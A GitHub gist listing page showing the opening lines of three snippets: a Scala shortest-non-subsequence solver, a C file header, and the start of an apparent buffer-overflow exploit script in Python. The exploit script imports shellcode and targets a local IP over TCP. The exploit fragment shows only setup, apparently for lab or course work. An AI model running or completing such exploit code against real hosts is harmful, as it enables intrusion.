Skip to content

Instantly share code, notes, and snippets.

View benallamar's full-sized avatar
🏠
Working from home

Marouane BENALLA benallamar

🏠
Working from home
View GitHub Profile
@benallamar
benallamar / test.scala
Last active February 10, 2018 20:44
Get the shortest no sub sequence of a given sequence in a given alphabet
import java.util.Scanner
object Boot extends App {
implicit def fromStringToCharArray(s: String) = s.toCharArray
val alphabet = "ACGT";
val scanner = new Scanner(System.in)
val line = scanner.nextLine
var fn = "A" * (line.length + 1) // Initialize the string with the most probable string
for (c <- alphabet) {
# -*-coding: utf-8 -*-
import socket
import sys
import time
from buffer_generator import BufferGenerator, SHELL_CODE
TCP_IP = "192.168.2.7"
TCP_PORT = int(sys.argv[1])
# Il faut charger l'attaque sur un autre ordinateur
@benallamar
benallamar / cpod.c
Last active October 23, 2016 15:57
//
// Created by Marouane BENALLA on 07/10/2016.
//
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
/* Main function
*/